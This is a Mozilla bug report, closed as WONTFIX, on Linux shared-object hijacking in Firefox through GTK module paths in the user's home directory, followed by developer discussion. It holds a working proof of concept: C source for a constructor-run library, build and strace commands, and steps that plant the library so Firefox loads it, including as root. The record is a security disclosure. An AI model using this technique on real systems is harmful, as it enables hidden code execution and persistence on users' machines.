Closed Bug 1184466 Opened 10 years ago Closed 10 years ago

Shared Object Hijacking in Linux (Similar to "DLL Hijacking" in Windows)

Categories

(Core :: Security, defect)

39 Branch
x86
Linux
defect
Not set
normal

Tracking

()

RESOLVED WONTFIX

People

(Reporter: adrimf85, Unassigned)

Details

User Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36 Steps to reproduce: With "Share Object Hijacking" in Linux same thing happens with "DLL Hijacking" in Windows . Check version: amacias@ubuntu:~/SOh$ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 15.04 Release: 15.04 Codename: vivid amacias@ubuntu:~/SOh$ firefox -v (process:3209): GLib-CRITICAL **: g_slice_set_config: assertion 'sys_page_size == 0' failed Mozilla Firefox 39.0 Create "Share Object" (.so): amacias@ubuntu:~/SOh$ cat SOh.c #include <stdio.h> #include <stdlib.h> // gcc -shared -o SOh.so -fPIC SOh.c static void SO_hijacking() __attribute__((constructor)); void SO_hijacking() { // whoami2var FILE *lsofFile_p = popen("whoami", "r"); char buffer[1024]; char *line_p = fgets(buffer, sizeof(buffer), lsofFile_p); pclose(lsofFile_p); printf("++++++++++++++++++++++++\n"); printf(" SO Hijacking! \n"); printf(" USER ID: %i\n", getuid()); printf(" USER NAME: %s", line_p); printf("++++++++++++++++++++++++\n"); } amacias@ubuntu:~/SOh$ gcc -shared -o SOh.so -fPIC SOh.c amacias@ubuntu:~/SOh$ ls SOh.c SOh.so Check errors in Firefox and stores them in a file: amacias@ubuntu:~/SOh$ strace firefox &> /tmp/strace_firefox Close Firefox. Search all "Share Objects" (.so) do not exist: amacias@ubuntu:~/SOh$ grep "No such file or directory" /tmp/strace_firefox | grep -v "\"/etc/\|\"/usr/\|\"/lib/" | grep "\.so" access("/home/amacias/.gtk-2.0/2.10.0/i686-pc-linux-gnu/modules/liboverlay-scrollbar.so", F_OK) = -1 ENOENT (No such file or directory) access("/home/amacias/.gtk-2.0/2.10.0/modules/liboverlay-scrollbar.so", F_OK) = -1 ENOENT (No such file or directory) access("/home/amacias/.gtk-2.0/i686-pc-linux-gnu/modules/liboverlay-scrollbar.so", F_OK) = -1 ENOENT (No such file or directory) access("/home/amacias/.gtk-2.0/modules/liboverlay-scrollbar.so", F_OK) = -1 ENOENT (No such file or directory) access("/home/amacias/.gtk-2.0/2.10.0/i686-pc-linux-gnu/modules/libunity-gtk-module.so", F_OK) = -1 ENOENT (No such file or directory) access("/home/amacias/.gtk-2.0/2.10.0/modules/libunity-gtk-module.so", F_OK) = -1 ENOENT (No such file or directory) access("/home/amacias/.gtk-2.0/i686-pc-linux-gnu/modules/libunity-gtk-module.so", F_OK) = -1 ENOENT (No such file or directory) access("/home/amacias/.gtk-2.0/modules/libunity-gtk-module.so", F_OK) = -1 ENOENT (No such file or directory) access("/home/amacias/.gtk-2.0/2.10.0/i686-pc-linux-gnu/engines/libmurrine.so", F_OK) = -1 ENOENT (No such file or directory) access("/home/amacias/.gtk-2.0/2.10.0/engines/libmurrine.so", F_OK) = -1 ENOENT (No such file or directory) access("/home/amacias/.gtk-2.0/i686-pc-linux-gnu/engines/libmurrine.so", F_OK) = -1 ENOENT (No such file or directory) access("/home/amacias/.gtk-2.0/engines/libmurrine.so", F_OK) = -1 ENOENT (No such file or directory) access("/home/amacias/.gtk-2.0/2.10.0/i686-pc-linux-gnu/modules/libcanberra-gtk-module.so", F_OK) = -1 ENOENT (No such file or directory) access("/home/amacias/.gtk-2.0/2.10.0/modules/libcanberra-gtk-module.so", F_OK) = -1 ENOENT (No such file or directory) access("/home/amacias/.gtk-2.0/i686-pc-linux-gnu/modules/libcanberra-gtk-module.so", F_OK) = -1 ENOENT (No such file or directory) access("/home/amacias/.gtk-2.0/modules/libcanberra-gtk-module.so", F_OK) = -1 ENOENT (No such file or directory) Copy the "Share Object" created in one of the above directories: amacias@ubuntu:~/SOh$ mkdir -p /home/amacias/.gtk-2.0/modules/ amacias@ubuntu:~/SOh$ cp SOh.so /home/amacias/.gtk-2.0/modules/libcanberra-gtk-module.so Run Firefox: amacias@ubuntu:~/SOh$ firefox (process:4639): GLib-CRITICAL **: g_slice_set_config: assertion 'sys_page_size == 0' failed ++++++++++++++++++++++++ SO Hijacking! USER ID: 1000 USER NAME: amacias ++++++++++++++++++++++++ Gtk-Message: Failed to load module "canberra-gtk-module" WARNING: content window passed to PrivateBrowsingUtils.isWindowPrivate. Use isContentWindowPrivate instead (but only for frame scripts). pbu_isWindowPrivate@resource://gre/modules/PrivateBrowsingUtils.jsm:25:14 ^C The "Share Object" created is executed!! Another Test; run Firefox as root: amacias@ubuntu:~/SOh$ sudo firefox (process:4693): GLib-CRITICAL **: g_slice_set_config: assertion 'sys_page_size == 0' failed ++++++++++++++++++++++++ SO Hijacking! USER ID: 0 USER NAME: root ++++++++++++++++++++++++ Gtk-Message: Failed to load module "canberra-gtk-module" (firefox:4693): IBUS-WARNING **: The owner of /home/amacias/.config/ibus/bus is not root! WARNING: content window passed to PrivateBrowsingUtils.isWindowPrivate. Use isContentWindowPrivate instead (but only for frame scripts). pbu_isWindowPrivate@resource://gre/modules/PrivateBrowsingUtils.jsm:25:14 pbs<@resource://unity/observer.js:38:71 Observer.prototype.observe@resource://unity/observer.js:77:24 ^C The "Share Object" created is executed as root!! Actual results: Firefox exeuted the malicious "Share Object". Expected results: Firefox should not load "Share Object" from directories where an unprivileged user can write.
OS: Unspecified → Linux
Hardware: Unspecified → x86
This is INVALID. We intentionally load things like Firefox addons from the user directory, which may contain executable code either as JS or as shared libraries. You should never run Firefox as root.
Group: core-security
Status: UNCONFIRMED → RESOLVED
Closed: 10 years ago
Component: Untriaged → Security
Product: Firefox → Core
Resolution: --- → WONTFIX
And in that case, it's gtk doing the loading of a gtk module.
Also more specifically, you should never run Firefox with sudo, because the default for sudo is to keep the user $HOME. I thought I added code to throw an error in that case, though, but it seems I didn't. I had this snippet added in the Iceweasel wrapper script when we still had a wrapper script: ## ## For silly people running iceweasel through sudo ## if [ "${SUDO_USER}" ] && [ "${SUDO_USER}" != "${USER}" ]; then SUDO_HOME=`getent passwd ${SUDO_USER} | cut -f6 -d:` if [ "${SUDO_HOME}" = "${HOME}" ]; then echo "You shouldn't really run Iceweasel through sudo WITHOUT the -H option." >&2 echo "Continuing as if you used the -H option." >&2 HOME=`getent passwd ${USER} | cut -f6 -d:` if [ -z "${HOME}" ]; then echo "Could not find the correct home directory. Please use the -H option of sudo." >&2 fi fi fi Maybe we should port this in nsAppRunner.cpp ?
Flags: needinfo?(benjamin)
1. Ok.. JS can not run system commands, Share Object yes. 2. I should never run Firefox with sudo but I CAN run Firefox as root. 3. Many applications (gedit, calculator, etc...) load GTK modules but not from $HOME... (This is the problem) amacias@ubuntu:~/SOh$ strace gnome-calculator &> /tmp/calcu; grep "No such file or directory" /tmp/calcu | grep "gtk" | grep "\.so\"" access("/usr/lib/i386-linux-gnu/gtk-3.0/3.0.0/i686-pc-linux-gnu/modules/liboverlay-scrollbar.so", F_OK) = -1 ENOENT (No such file or directory) access("/usr/lib/i386-linux-gnu/gtk-3.0/3.0.0/modules/liboverlay-scrollbar.so", F_OK) = -1 ENOENT (No such file or directory) access("/usr/lib/i386-linux-gnu/gtk-3.0/i686-pc-linux-gnu/modules/liboverlay-scrollbar.so", F_OK) = -1 ENOENT (No such file or directory) access("/usr/lib/i386-linux-gnu/gtk-3.0/3.0.0/i686-pc-linux-gnu/modules/libunity-gtk-module.so", F_OK) = -1 ENOENT (No such file or directory) access("/usr/lib/i386-linux-gnu/gtk-3.0/3.0.0/modules/libunity-gtk-module.so", F_OK) = -1 ENOENT (No such file or directory) access("/usr/lib/i386-linux-gnu/gtk-3.0/i686-pc-linux-gnu/modules/libunity-gtk-module.so", F_OK) = -1 ENOENT (No such file or directory) access("/usr/lib/i386-linux-gnu/gtk-3.0/3.0.0/i686-pc-linux-gnu/modules/libcanberra-gtk-module.so", F_OK) = -1 ENOENT (No such file or directory) access("/usr/lib/i386-linux-gnu/gtk-3.0/3.0.0/modules/libcanberra-gtk-module.so", F_OK) = -1 ENOENT (No such file or directory) access("/usr/lib/i386-linux-gnu/gtk-3.0/i686-pc-linux-gnu/modules/libcanberra-gtk-module.so", F_OK) = -1 ENOENT (No such file or directory) amacias@ubuntu:~/SOh$ strace gedit &> /tmp/gedit; grep "No such file or directory" /tmp/gedit | grep "gtk" | grep "\.so\"" access("/usr/lib/i386-linux-gnu/gtk-3.0/3.0.0/i686-pc-linux-gnu/modules/liboverlay-scrollbar.so", F_OK) = -1 ENOENT (No such file or directory) access("/usr/lib/i386-linux-gnu/gtk-3.0/3.0.0/modules/liboverlay-scrollbar.so", F_OK) = -1 ENOENT (No such file or directory) access("/usr/lib/i386-linux-gnu/gtk-3.0/i686-pc-linux-gnu/modules/liboverlay-scrollbar.so", F_OK) = -1 ENOENT (No such file or directory) access("/usr/lib/i386-linux-gnu/gtk-3.0/3.0.0/i686-pc-linux-gnu/modules/libunity-gtk-module.so", F_OK) = -1 ENOENT (No such file or directory) access("/usr/lib/i386-linux-gnu/gtk-3.0/3.0.0/modules/libunity-gtk-module.so", F_OK) = -1 ENOENT (No such file or directory) access("/usr/lib/i386-linux-gnu/gtk-3.0/i686-pc-linux-gnu/modules/libunity-gtk-module.so", F_OK) = -1 ENOENT (No such file or directory) access("/usr/lib/i386-linux-gnu/gtk-3.0/3.0.0/i686-pc-linux-gnu/modules/libcanberra-gtk-module.so", F_OK) = -1 ENOENT (No such file or directory) access("/usr/lib/i386-linux-gnu/gtk-3.0/3.0.0/modules/libcanberra-gtk-module.so", F_OK) = -1 ENOENT (No such file or directory) access("/usr/lib/i386-linux-gnu/gtk-3.0/i686-pc-linux-gnu/modules/libcanberra-gtk-module.so", F_OK) = -1 ENOENT (No such file or directory) 4. Ok, imagine a "bad-boy" discovers a Adobe Flash 0day to work in Firefox. This exploit downloads a "Share Object" and saves it as $HOME/.gtk-2.0/modules/libcanberra-gtk-module.so as in my example. Each time you run Firefox, the "Share object" calls home in search of, for example, a kernel 0day to privileges escalate. Ok. Firefox is "not vulnerable" but is used as a way to infect a computer in an APT... Hmmm ... Do not you see the problem? Regards!!
A very similar case: Mozilla Foundation Security Advisory 2013-87 (Shared object library loading from writable location): https://www.mozilla.org/en-US/security/advisories/mfsa2013-87/
You demonstrated absolutely nothing. gnome-calculator and gedit are both Gtk+3 applications. If you want to compare oranges with oranges, use gimp, which is a Gtk+2 application. $ strace -o /tmp/log gimp $ grep \\.gtk-2.0 /tmp/log | sed s/$USER/\$USER/g access("/home/$USER/.gtk-2.0/2.10.0/x86_64-pc-linux-gnu/engines/libpixmap.so", F_OK) = -1 ENOENT (No such file or directory) access("/home/$USER/.gtk-2.0/2.10.0/x86_64-pc-linux-gnu/engines/libpixmap.la", F_OK) = -1 ENOENT (No such file or directory) access("/home/$USER/.gtk-2.0/2.10.0/engines/libpixmap.so", F_OK) = -1 ENOENT (No such file or directory) access("/home/$USER/.gtk-2.0/2.10.0/engines/libpixmap.la", F_OK) = -1 ENOENT (No such file or directory) access("/home/$USER/.gtk-2.0/x86_64-pc-linux-gnu/engines/libpixmap.so", F_OK) = -1 ENOENT (No such file or directory) access("/home/$USER/.gtk-2.0/x86_64-pc-linux-gnu/engines/libpixmap.la", F_OK) = -1 ENOENT (No such file or directory) access("/home/$USER/.gtk-2.0/engines/libpixmap.so", F_OK) = -1 ENOENT (No such file or directory) access("/home/$USER/.gtk-2.0/engines/libpixmap.la", F_OK) = -1 ENOENT (No such file or directory) access("/home/$USER/.gtk-2.0/2.10.0/x86_64-pc-linux-gnu/engines/libadwaita.so", F_OK) = -1 ENOENT (No such file or directory) access("/home/$USER/.gtk-2.0/2.10.0/x86_64-pc-linux-gnu/engines/libadwaita.la", F_OK) = -1 ENOENT (No such file or directory) access("/home/$USER/.gtk-2.0/2.10.0/engines/libadwaita.so", F_OK) = -1 ENOENT (No such file or directory) access("/home/$USER/.gtk-2.0/2.10.0/engines/libadwaita.la", F_OK) = -1 ENOENT (No such file or directory) access("/home/$USER/.gtk-2.0/x86_64-pc-linux-gnu/engines/libadwaita.so", F_OK) = -1 ENOENT (No such file or directory) access("/home/$USER/.gtk-2.0/x86_64-pc-linux-gnu/engines/libadwaita.la", F_OK) = -1 ENOENT (No such file or directory) access("/home/$USER/.gtk-2.0/engines/libadwaita.so", F_OK) = -1 ENOENT (No such file or directory) access("/home/$USER/.gtk-2.0/engines/libadwaita.la", F_OK) = -1 ENOENT (No such file or directory) access("/home/$USER/.gtk-2.0/2.10.0/x86_64-pc-linux-gnu/modules/libcanberra-gtk-module.so", F_OK) = -1 ENOENT (No such file or directory) access("/home/$USER/.gtk-2.0/2.10.0/x86_64-pc-linux-gnu/modules/libcanberra-gtk-module.la", F_OK) = -1 ENOENT (No such file or directory) access("/home/$USER/.gtk-2.0/2.10.0/modules/libcanberra-gtk-module.so", F_OK) = -1 ENOENT (No such file or directory) access("/home/$USER/.gtk-2.0/2.10.0/modules/libcanberra-gtk-module.la", F_OK) = -1 ENOENT (No such file or directory) access("/home/$USER/.gtk-2.0/x86_64-pc-linux-gnu/modules/libcanberra-gtk-module.so", F_OK) = -1 ENOENT (No such file or directory) access("/home/$USER/.gtk-2.0/x86_64-pc-linux-gnu/modules/libcanberra-gtk-module.la", F_OK) = -1 ENOENT (No such file or directory) access("/home/$USER/.gtk-2.0/modules/libcanberra-gtk-module.so", F_OK) = -1 ENOENT (No such file or directory) access("/home/$USER/.gtk-2.0/modules/libcanberra-gtk-module.la", F_OK) = -1 ENOENT (No such file or directory)
Yes, we should have this as part of the bootstrap sequence.
Flags: needinfo?(benjamin)
You need to log in before you can comment on or make changes to this bug.